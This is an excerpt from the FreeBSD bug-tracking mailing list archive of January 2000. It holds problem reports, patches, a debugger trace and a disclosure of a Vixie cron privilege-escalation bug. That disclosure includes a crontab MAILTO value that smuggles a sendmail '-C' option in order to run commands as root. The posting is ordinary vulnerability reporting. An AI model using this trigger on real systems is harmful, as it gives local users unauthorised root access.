Int 0x20: IRQ0 jmp int_hw # V86 int 0x8 ! pushb $0x9 # Int 0x21: IRQ1 jmp int_hw # V86 int 0x9 ! pushb $0xa # Int 0x22: IRQ2 jmp int_hw # V86 int 0xa ! pushb $0xb # Int 0x23: IRQ3 jmp int_hw # V86 int 0xb ! pushb $0xc # Int 0x24: IRQ4 jmp int_hw # V86 int 0xc ! pushb $0xd # Int 0x25: IRQ5 jmp int_hw # V86 int 0xd ! pushb $0xe # Int 0x26: IRQ6 jmp int_hw # V86 int 0xe ! pushb $0xf # Int 0x27: IRQ7 jmp int_hw # V86 int 0xf ! pushb $0x70 # Int 0x28: IRQ8 jmp int_hw # V86 int 0x70 ! pushb $0x71 # Int 0x29: IRQ9 jmp int_hw # V86 int 0x71 ! pushb $0x72 # Int 0x2a: IRQ10 jmp int_hw # V86 int 0x72 ! pushb $0x73 # Int 0x2b: IRQ11 jmp int_hw # V86 int 0x73 ! pushb $0x74 # Int 0x2c: IRQ12 jmp int_hw # V86 int 0x74 ! pushb $0x75 # Int 0x2d: IRQ13 jmp int_hw # V86 int 0x75 ! pushb $0x76 # Int 0x2e: IRQ14 jmp int_hw # V86 int 0x76 ! pushb $0x77 # Int 0x2f: IRQ15 jmp int_hw # V86 int 0x77 # # Reflect hardware interrupts. --- 631,667 ---- # # Hardware interrupt jump table. # ! intx20: push $0x8 # Int 0x20: IRQ0 jmp int_hw # V86 int 0x8 ! push $0x9 # Int 0x21: IRQ1 jmp int_hw # V86 int 0x9 ! push $0xa # Int 0x22: IRQ2 jmp int_hw # V86 int 0xa ! push $0xb # Int 0x23: IRQ3 jmp int_hw # V86 int 0xb ! push $0xc # Int 0x24: IRQ4 jmp int_hw # V86 int 0xc ! push $0xd # Int 0x25: IRQ5 jmp int_hw # V86 int 0xd ! push $0xe # Int 0x26: IRQ6 jmp int_hw # V86 int 0xe ! push $0xf # Int 0x27: IRQ7 jmp int_hw # V86 int 0xf ! push $0x70 # Int 0x28: IRQ8 jmp int_hw # V86 int 0x70 ! push $0x71 # Int 0x29: IRQ9 jmp int_hw # V86 int 0x71 ! push $0x72 # Int 0x2a: IRQ10 jmp int_hw # V86 int 0x72 ! push $0x73 # Int 0x2b: IRQ11 jmp int_hw # V86 int 0x73 ! push $0x74 # Int 0x2c: IRQ12 jmp int_hw # V86 int 0x74 ! push $0x75 # Int 0x2d: IRQ13 jmp int_hw # V86 int 0x75 ! push $0x76 # Int 0x2e: IRQ14 jmp int_hw # V86 int 0x76 ! push $0x77 # Int 0x2f: IRQ15 jmp int_hw # V86 int 0x77 # # Reflect hardware interrupts. *************** *** 710,716 **** pushl %fs # and pushl %ds # point pushl %es # to them ! pushb $SEL_SDATA # Set up popl %ds # to pushl %ds # address popl %es # data --- 710,716 ---- pushl %fs # and pushl %ds # point pushl %es # to them ! push $SEL_SDATA # Set up popl %ds # to pushl %ds # address popl %es # data *************** *** 838,844 **** pushl %ds # Save testb $0x2,0x52(%ebx) # V86 mode? jnz dump.3 # Yes ! verrl 0x4(%esi) # Readable selector? jnz dump.3 # No ldsl (%esi),%esi # Load pointer jmp dump.4 # Join common code --- 838,844 ---- pushl %ds # Save testb $0x2,0x52(%ebx) # V86 mode? jnz dump.3 # Yes ! verr 0x4(%esi) # Readable selector? jnz dump.3 # No ldsl (%esi),%esi # Load pointer jmp dump.4 # Join common code >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 9: 2:53 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from cyberfrg.access.one.net (cyberfrg.access.one.net [216.23.8.7]) by hub.freebsd.org (Postfix) with ESMTP id 00AEB14D5C for ; Sun, 2 Jan 2000 09:02:50 -0800 (PST) (envelope-from x11@cyberfrg.access.one.net) Received: (from x11@localhost) by cyberfrg.access.one.net (8.9.3/8.9.3) id MAA14970 for freebsd-bugs@freebsd.org; Sun, 2 Jan 2000 12:09:51 -0500 (EST) (envelope-from x11) Date: Sun, 2 Jan 2000 12:09:51 -0500 From: Mark Shirley To: freebsd-bugs@freebsd.org Subject: Re: misc/15839: what means of Equivalent Message-ID: <20000102120951.A14925@cyberfrg.access.one.net> References: <20000102153034.7A755150CC@hub.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <20000102153034.7A755150CC@hub.freebsd.org>; from kw_chao@ms25.url.com.tw on Sun, Jan 02, 2000 at 07:30:34AM -0800 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org ...... On Sun, Jan 02, 2000 at 07:30:34AM -0800, kw_chao@ms25.url.com.tw wrote: > > >Number: 15839 > >Category: misc > >Synopsis: what means of Equivalent > >Confidential: no > >Severity: non-critical > >Priority: medium > >Responsible: freebsd-bugs > >State: open > >Quarter: > >Keywords: > >Date-Required: > >Class: sw-bug > >Submitter-Id: current-users > >Arrival-Date: Sun Jan 2 07:40:01 PST 2000 > >Closed-Date: > >Last-Modified: > >Originator: chao > >Release: > >Organization: > tsao gone > >Environment: > >Description: > > >How-To-Repeat: > > >Fix: > > > >Release-Note: > >Audit-Trail: > >Unformatted: > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-bugs" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 9: 5:34 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 9CE3614DF1; Sun, 2 Jan 2000 09:05:33 -0800 (PST) (envelope-from steve@FreeBSD.org) Received: (from steve@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id JAA49309; Sun, 2 Jan 2000 09:05:32 -0800 (PST) (envelope-from steve@FreeBSD.org) Date: Sun, 2 Jan 2000 09:05:32 -0800 (PST) From: Message-Id: <200001021705.JAA49309@freefall.freebsd.org> To: kw_chao@ms25.url.com.tw, steve@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: misc/15839: what means of Equivalent Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: what means of Equivalent State-Changed-From-To: open->closed State-Changed-By: steve State-Changed-When: Sun Jan 2 09:05:22 PST 2000 State-Changed-Why: Bogus PR. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 9:25:59 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 4957714C49; Sun, 2 Jan 2000 09:25:56 -0800 (PST) (envelope-from steve@FreeBSD.org) Received: (from steve@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id JAA50625; Sun, 2 Jan 2000 09:25:56 -0800 (PST) (envelope-from steve@FreeBSD.org) Date: Sun, 2 Jan 2000 09:25:56 -0800 (PST) From: Message-Id: <200001021725.JAA50625@freefall.freebsd.org> To: steve@FreeBSD.org, freebsd-bugs@FreeBSD.org, peter@FreeBSD.org Subject: Re: bin/15829: cvs -C not_a_number core dumps Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: cvs -C not_a_number core dumps Responsible-Changed-From-To: freebsd-bugs->peter Responsible-Changed-By: steve Responsible-Changed-When: Sun Jan 2 09:25:30 PST 2000 Responsible-Changed-Why: Peter maintains CVS sources. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 11:57:53 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id C237914DF1; Sun, 2 Jan 2000 11:57:52 -0800 (PST) (envelope-from steve@FreeBSD.org) Received: (from steve@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id LAA59729; Sun, 2 Jan 2000 11:57:52 -0800 (PST) (envelope-from steve@FreeBSD.org) Date: Sun, 2 Jan 2000 11:57:52 -0800 (PST) From: Message-Id: <200001021957.LAA59729@freefall.freebsd.org> To: jacobsm@gate.net, steve@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/15831: pr command segfaults as non-root user Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: pr command segfaults as non-root user State-Changed-From-To: open->closed State-Changed-By: steve State-Changed-When: Sun Jan 2 11:55:06 PST 2000 State-Changed-Why: Still not enough information to help out. I cannot reproduce this on any of the boxes here either, so I can't guess at what might be wrong. Please send us the information that I requested of you in private mail and we'll help to the best of our ability. Please don't open another PR. If you want to send us details of the problem, do so as a followup to this PR. Thanks.  To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 12:16:32 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from florence.pavilion.net (florence.pavilion.net [212.74.0.25]) by hub.freebsd.org (Postfix) with ESMTP id C296114F11 for ; Sun, 2 Jan 2000 12:16:02 -0800 (PST) (envelope-from joe@florence.pavilion.net) Received: (from joe@localhost) by florence.pavilion.net (8.9.3/8.8.8) id UAA61733; Sun, 2 Jan 2000 20:15:57 GMT (envelope-from joe) Date: Sun, 2 Jan 2000 20:15:57 +0000 From: Josef Karthauser To: Yoshinobu Inoue Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15742: Laptop -current panics in in6_ifattach after suspend Message-ID: <20000102201557.C60369@florence.pavilion.net> References: <20000101163112Y.shin@nd.net.fujitsu.co.jp> <20000102023050X.shin@nd.net.fujitsu.co.jp> <20000102124814.A24810@florence.pavilion.net> <20000103002949O.shin@nd.net.fujitsu.co.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <20000103002949O.shin@nd.net.fujitsu.co.jp> X-NCC-RegID: uk.pavilion Organisation: Pavilion Internet plc, Lees House, 21-23 Dyke Road, Brighton, England Phone: +44-845-333-5000 Fax: +44-845-333-5001 Mobile: +44-403-596893 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Jan 03, 2000 at 12:29:49AM +0900, Yoshinobu Inoue wrote: > > I think following additional patch should fix the problem. > Sorry for taking your time again, but could you please try it? > > I confirmed that in6_control(), which called from if_detach(), > don't return error after this patch in my environment. > Yes, this appears to work very well. Lots of power on/off's in random orders, mixed with physically plug/unplugging the card. I got the following error messages: Jan 2 19:47:44 genius pccardd[46]: ioctl (PIOCSIO): Device not configured Jan 2 19:47:44 genius pccardd[46]: ioctl (PIOCSIO): Device not configured Jan 2 19:58:27 genius /kernel: ep0: eeprom failed to come ready. Jan 2 19:58:28 genius last message repeated 3 times Jan 2 19:58:28 genius /kernel: ep0: Unit failed to come ready or product ID unknown! (id 0xffff) Jan 2 19:58:28 genius last message repeated 3 times Jan 2 19:58:28 genius /kernel: ep0: Unit failed to come ready or product ID unknown! (id 0xffff) Jan 2 19:58:27 genius pccardd[46]: driver allocation failed for 3Com Corporation(3C589D): Device not configured Jan 2 19:58:27 genius pccardd[46]: driver allocation failed for 3Com Corporation(3C589D): Device not configured None of these were unrecoverable from however. Go ahead an commit it. Joe -- Josef Karthauser FreeBSD: Take the red pill and we'll show you just how Technical Manager deep the rabbit hole goes. (http://www.uk.freebsd.org) Pavilion Internet plc. [joe@pavilion.net, joe@freebsd.org, joe@tao.org.uk] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 12:20: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 4DAED150FA for ; Sun, 2 Jan 2000 12:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id MAA60987; Sun, 2 Jan 2000 12:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 1A4F614DB1; Sun, 2 Jan 2000 12:15:58 -0800 (PST) Message-Id: <20000102201558.1A4F614DB1@hub.freebsd.org> Date: Sun, 2 Jan 2000 12:15:58 -0800 (PST) From: slavoff@bnc.bg To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: i386/15845: Driver for RealTek 8029 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15845 >Category: i386 >Synopsis: Driver for RealTek 8029 >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Jan 2 12:20:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Veselin Slavov >Release: FreeBSD 3.3-STABLE >Organization: Home user >Environment: >Description: I have RealTek 8029 card, but unable to find a driver for it. Kernel found a ed0 device on pci0, but unable to swich the card to full-duplex mode Please help me! >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 12:25:56 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from mx1.lublin.pl (mx1.lublin.pl [212.182.63.76]) by hub.freebsd.org (Postfix) with ESMTP id 2955C14CB0 for ; Sun, 2 Jan 2000 12:25:50 -0800 (PST) (envelope-from venglin@FreeBSD.lublin.pl) Received: from lubi.freebsd.lublin.pl ([212.182.118.90]:54278 "HELO lubi.FreeBSD.lublin.pl") by krupik.man.lublin.pl with SMTP id ; Sun, 2 Jan 2000 21:25:32 +0100 Received: (qmail 8931 invoked from network); 2 Jan 2000 20:25:28 -0000 Received: from lagoon.gadaczka.org (venglin@192.168.0.2) by mailhost.gadaczka.org with SMTP; 2 Jan 2000 20:25:28 -0000 Content-Length: 2783 Message-ID: X-Mailer: XFMail 1.3 [p0] on Linux X-Priority: 3 (Normal) Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT MIME-Version: 1.0 In-Reply-To: <200001021957.LAA59729@freefall.freebsd.org> X-Motto: I think I'm -DPARANOID X-Operating-System: FreeBSD 3.3-STABLE (i386) X-SMS: +48601062409@text.plusgsm.pl X-PGP: PGP key on WWW or finger X-GeekCode-1: GED d- s+:- a16 C+++ ULB++++$ P+>+++ L+++ E+ W+++$ N+++ X-GeekCode-2: o? K? w--- O M- V PS PE+ Y PGP++ t+ 5 X++ R tv++ b++ DI+ X-GeekCode-3: D++ G e- h! r !y+ Date: Sun, 02 Jan 2000 21:25:24 +0100 (CET) Organization: Lublin BSD Users Group (www.FreeBSD.lublin.pl) From: Przemyslaw Frasunek To: steve@FreeBSD.org, jacobsm@gate.net, freebsd-bugs@freebsd.org Subject: Re: bin/15831: pr command segfaults as non-root user Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 02-Jan-00 steve@FreeBSD.org wrote: > Still not enough information to help out. I cannot reproduce this on any > of the boxes here either, so I can't guess at what might be wrong. Please > send us the information that I requested of you in private mail and we'll > help to the best of our ability. Please don't open another PR. If you > want to send us details of the problem, do so as a followup to this PR. I can reproduce this on 3.4-STABLE (as of 18 Dec 1999), but NOT on ANY other machine. lagoon:venglin:/dupa/pr# gdb ./pr GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... (gdb) run Starting program: /dupa/pr/./pr Program received signal SIGSEGV, Segmentation fault. 0x2808480c in strftime () from /usr/lib/libc.so.3 (gdb) bt #0 0x2808480c in strftime () from /usr/lib/libc.so.3 #1 0x280847e2 in strftime () from /usr/lib/libc.so.3 #2 0x28083b09 in strftime () from /usr/lib/libc.so.3 #3 0x804a405 in nxtfile (argc=1, argv=0xbfbfd6e4, fname=0xbfbfd698, buf=0x804f200 "", dt=0) at pr.c:1367 #4 0x8048bdf in onecol (argc=1, argv=0xbfbfd6e4) at pr.c:202 #5 0x8048a90 in main (argc=1, argv=0xbfbfd6e4) at pr.c:127 (gdb) break nxtfile Breakpoint 1 at 0x804a149: file pr.c, line 1263. (gdb) run Starting program: /dupa/pr/./pr Breakpoint 1, nxtfile (argc=1, argv=0xbfbfd6e4, fname=0xbfbfd698, buf=0x804f200 "", dt=0) at pr.c:1263 1263 struct tm *timeptr = NULL; (gdb) n 1267 ++twice; (gdb) 1268 if (eoptind >= argc) { (gdb) 1272 if (twice) (gdb) 1274 clearerr(stdin); (gdb) 1275 inf = stdin; (gdb) 1276 if (header != NULL) (gdb) 1279 *fname = FNAME; (gdb) 1280 if (nohead) (gdb) 1282 if (gettimeofday(&tv, &tz) < 0) { (gdb) 1289 tv_sec = tv.tv_sec; (gdb) 1290 timeptr = localtime(&tv_sec); (gdb) 1291 } (gdb) 1292 for (; eoptind < argc; ++eoptind) { (gdb) 1361 if (inf == NULL) (gdb) 1367 if (strftime(buf, HDBUF, timefrmt, timeptr) <= 0) { (gdb) Program received signal SIGSEGV, Segmentation fault. 0x2808480c in strftime () from /usr/lib/libc.so.3 (gdb) --- * Fido: 2:480/124 ** WWW: http://www.FreeBSD.lublin.pl ** NIC-HDL: PMF9-RIPE * * Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 12:27:14 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from muschel.global-phun.net (muschel.Global-Phun.net [212.6.148.36]) by hub.freebsd.org (Postfix) with ESMTP id 4581514D0B for ; Sun, 2 Jan 2000 12:27:10 -0800 (PST) (envelope-from op@pahl.net) Received: from localhost (op@localhost [127.0.0.1]) by muschel.global-phun.net (8.8.8/8.8.8) with ESMTP id VAA12796; Sun, 2 Jan 2000 21:21:51 +0100 Date: Sun, 2 Jan 2000 21:21:51 +0100 (MET) From: Ole Pahl X-Sender: op@muschel.global-phun.net To: bugtraq@securityfocus.com, submission@rootshell.com, cert@cert.org, cert@cert.dfn.de, freebsd-bugs@freebsd.org, info@suse.de, paul@vix.com, info@vix.com Subject: Bug in recent versions of Vixie cron Message-ID: Organization: PAHL.NET Network Solutions MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I've just discovered a bug in Vixie cron allowing local users with access to their own crontabs to gain root access. Sendmail is called as root, thus allowing users to specify the -C option causing Sendmail to use a user-specified configuration file: MAILTO='-C/home/someuser/sendmail.cf someuser' * * * * * /bin/non-existent-binary-causing-error-message By configuring Sendmail to use a pipe command executed with UID 0 for local mail delivery, arbitrary commands can be executed as root. This problem seems to be present in current versions of Vixie cron, e.g. those used in operating systems like FreeBSD 3.4-RC as well as certain Linux distributions such as SuSE Linux 6.2. This message has been sent to Paul Vixie as well, so I guess a patch fixing this issue will be available soon. Full exploits seem to be available, but don't ask me to send you one. As this problem is not related to a buffer overflow condition, having a non-executable stack won't help you. Temporary solution: Disable crontab access for non-root users. Regards, Ole Pahl -- Ole Pahl Hamburg / Germany Fon: +49 40 7807 2601 PAHL.NET Network Solutions Mail: info@pahl.net Fax: +49 40 7807 2602 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 12:56: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from isrv3.isc.org (isrv3.isc.org [204.152.184.87]) by hub.freebsd.org (Postfix) with ESMTP id 5650E14A08 for ; Sun, 2 Jan 2000 12:56:04 -0800 (PST) (envelope-from vixie@mibh.net) Received: from redpaul.mibh.net (redpaul.mibh.net [204.152.187.70]) by isrv3.isc.org (8.9.1/8.9.1) via ESMTP id MAA29978; Sun, 2 Jan 2000 12:56:00 -0800 (PST) env-from (vixie@mibh.net) Received: from redpaul.mibh.net (localhost [127.0.0.1]) by redpaul.mibh.net (8.9.3/8.9.1) via ESMTP id MAA05785; Sun, 2 Jan 2000 12:55:59 -0800 (PST) env-from (vixie@mibh.net) Message-Id: <200001022055.MAA05785@redpaul.mibh.net> To: Ole Pahl Cc: bugtraq@securityfocus.com, submission@rootshell.com, cert@cert.org, cert@cert.dfn.de, freebsd-bugs@freebsd.org, info@suse.de, isc-info@isc.org Subject: Re: Bug in recent versions of Vixie cron In-reply-to: Your message of "Sun, 02 Jan 2000 21:21:51 +0100." Date: Sun, 02 Jan 2000 12:55:59 -0800 From: Paul A Vixie Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org if your cron source (do_command.c) does not include the function safe_p() then it is vulnerable to this. this hole was fixed in 1996. take a look at isc cron 4.0 beta1, at ftp://ftp.isc.org/isc/cron_4.0_b1.shar. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 13: 0: 2 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from mx1.lublin.pl (mx1.lublin.pl [212.182.63.76]) by hub.freebsd.org (Postfix) with ESMTP id BECC114DF1 for ; Sun, 2 Jan 2000 12:59:59 -0800 (PST) (envelope-from venglin@FreeBSD.lublin.pl) Received: from lubi.freebsd.lublin.pl ([212.182.118.90]:16135 "HELO lubi.FreeBSD.lublin.pl") by krupik.man.lublin.pl with SMTP id ; Sun, 2 Jan 2000 21:59:32 +0100 Received: (qmail 9871 invoked from network); 2 Jan 2000 20:59:39 -0000 Received: from lagoon.gadaczka.org (venglin@192.168.0.2) by mailhost.gadaczka.org with SMTP; 2 Jan 2000 20:59:39 -0000 Content-Length: 772 Message-ID: X-Mailer: XFMail 1.3 [p0] on Linux X-Priority: 3 (Normal) Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT MIME-Version: 1.0 In-Reply-To: X-Motto: I think I'm -DPARANOID X-Operating-System: FreeBSD 3.3-STABLE (i386) X-SMS: +48601062409@text.plusgsm.pl X-PGP: PGP key on WWW or finger X-GeekCode-1: GED d- s+:- a16 C+++ ULB++++$ P+>+++ L+++ E+ W+++$ N+++ X-GeekCode-2: o? K? w--- O M- V PS PE+ Y PGP++ t+ 5 X++ R tv++ b++ DI+ X-GeekCode-3: D++ G e- h! r !y+ Date: Sun, 02 Jan 2000 21:59:35 +0100 (CET) Organization: Lublin BSD Users Group (www.FreeBSD.lublin.pl) From: Przemyslaw Frasunek To: Ole Pahl , freebsd-bugs@freebsd.org, bugtraq@securityfocus.com Subject: RE: Bug in recent versions of Vixie cron Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 02-Jan-00 Ole Pahl wrote: > I've just discovered a bug in Vixie cron allowing local users with access > to their own crontabs to gain root access. > Sendmail is called as root, thus allowing users to specify the -C option > causing Sendmail to use a user-specified configuration file: This bug is known for about 6 months. Exploit is also widely accessible. > This problem seems to be present in current versions of Vixie cron, e.g. > those used in operating systems like FreeBSD 3.4-RC as well as certain > Linux distributions such as SuSE Linux 6.2. FreeBSD is and was NOT vulnerable to this problem. --- * Fido: 2:480/124 ** WWW: http://www.FreeBSD.lublin.pl ** NIC-HDL: PMF9-RIPE * * Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 13: 0: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id E1BC9150AD for ; Sun, 2 Jan 2000 13:00:00 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id NAA63690; Sun, 2 Jan 2000 13:00:00 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by hub.freebsd.org (Postfix) with ESMTP id 5E18E150A0 for ; Sun, 2 Jan 2000 12:59:41 -0800 (PST) (envelope-from brdean@mindspring.com) Received: from vger.foo.com (user-2ivf1a0.dialup.mindspring.com [165.247.133.64]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id PAA08648 for ; Sun, 2 Jan 2000 15:59:34 -0500 (EST) Received: (from bsd@localhost) by vger.foo.com (8.9.3/8.9.3) id PAA30587; Sun, 2 Jan 2000 15:56:53 -0500 (EST) (envelope-from bsd) Message-Id: <200001022056.PAA30587@vger.foo.com> Date: Sun, 2 Jan 2000 15:56:53 -0500 (EST) From: brdean@mindspring.com Reply-To: brdean@mindspring.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/15847: tip core dumps after transferring a file from local to remote Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15847 >Category: bin >Synopsis: tip core dumps after file transfer from local to remote >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Jan 2 13:00:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Brian Dean >Release: FreeBSD 4.0-CURRENT i386 >Organization: >Environment: FreeBSD vger.foo.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Wed Dec 29 23:30:55 EST 1999 bsd@vger.foo.com:/usr/src/sys/compile/VGER i386 Current sources as of December 23, 1999. >Description: tip core dumps after tranferring a file to the remote system when no eof characters have been specified due to a NULL pointer dereference. >How-To-Repeat: 1) Use tip to connect to a remote system 2) Set the remote system to receive a file 3) Use the tip '~>' command to start a file transfer 3) Enter the local filename to be transfered >Fix: Index: cmds.c =================================================================== RCS file: /usr02/mirror/ncvs/src/usr.bin/tip/tip/cmds.c,v retrieving revision 1.10 diff -u -r1.10 cmds.c --- cmds.c 1999/08/28 01:06:32 1.10 +++ cmds.c 2000/01/02 20:46:56 @@ -513,7 +513,7 @@ out: if (lastc != '\n' && !boolean(value(RAWFTP))) send('\r'); - for (pc = eofchars; *pc; pc++) + for (pc = eofchars; pc && *pc; pc++) send(*pc); stop_t = time(0); fclose(fd); >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 13:14:36 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from muschel.global-phun.net (muschel.Global-Phun.net [212.6.148.36]) by hub.freebsd.org (Postfix) with ESMTP id C978E14BCE for ; Sun, 2 Jan 2000 13:14:31 -0800 (PST) (envelope-from op@pahl.net) Received: from localhost (op@localhost [127.0.0.1]) by muschel.global-phun.net (8.8.8/8.8.8) with ESMTP id WAA12970; Sun, 2 Jan 2000 22:09:24 +0100 Date: Sun, 2 Jan 2000 22:09:23 +0100 (MET) From: Ole Pahl X-Sender: op@muschel.global-phun.net To: bugtraq@securityfocus.com, submission@rootshell.com, cert@cert.org, cert@cert.dfn.de, freebsd-bugs@freebsd.org, info@suse.de, paul@vix.com, info@vix.com Subject: Bug in recent versions of Vixie cron - Sorry! Message-ID: Organization: PAHL.NET Network Solutions MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The problem described in my previous message was already present in the BugTraq vulnerability database with a slightly different description considering this vulnerability a bug validating the user-specified MAILTO value. However, as Sendmail is executable by anyone, describing this bug as a missing setuid() before starting Sendmail makes a lot more sense. Most Linux distribution vendors (including SuSE, RedHat and Debian) have prepared appropriate update packages, but I was unable to find a security advisory addressing this issue on www.freebsd.org although it could be reproduced on a FreeBSD 3.4-RC system (as already mentioned). Information concerning other operating systems using Vixie cron is appreciated. Regards, Ole Pahl -- Ole Pahl Hamburg / Germany Fon: +49 40 7807 2601 PAHL.NET Network Solutions Mail: info@pahl.net Fax: +49 40 7807 2602 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 13:20: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 4D533150AD for ; Sun, 2 Jan 2000 13:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id NAA64517; Sun, 2 Jan 2000 13:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by hub.freebsd.org (Postfix) with ESMTP id CF73C14BD0 for ; Sun, 2 Jan 2000 13:13:20 -0800 (PST) (envelope-from brdean@mindspring.com) Received: from vger.foo.com (user-2ivf1a0.dialup.mindspring.com 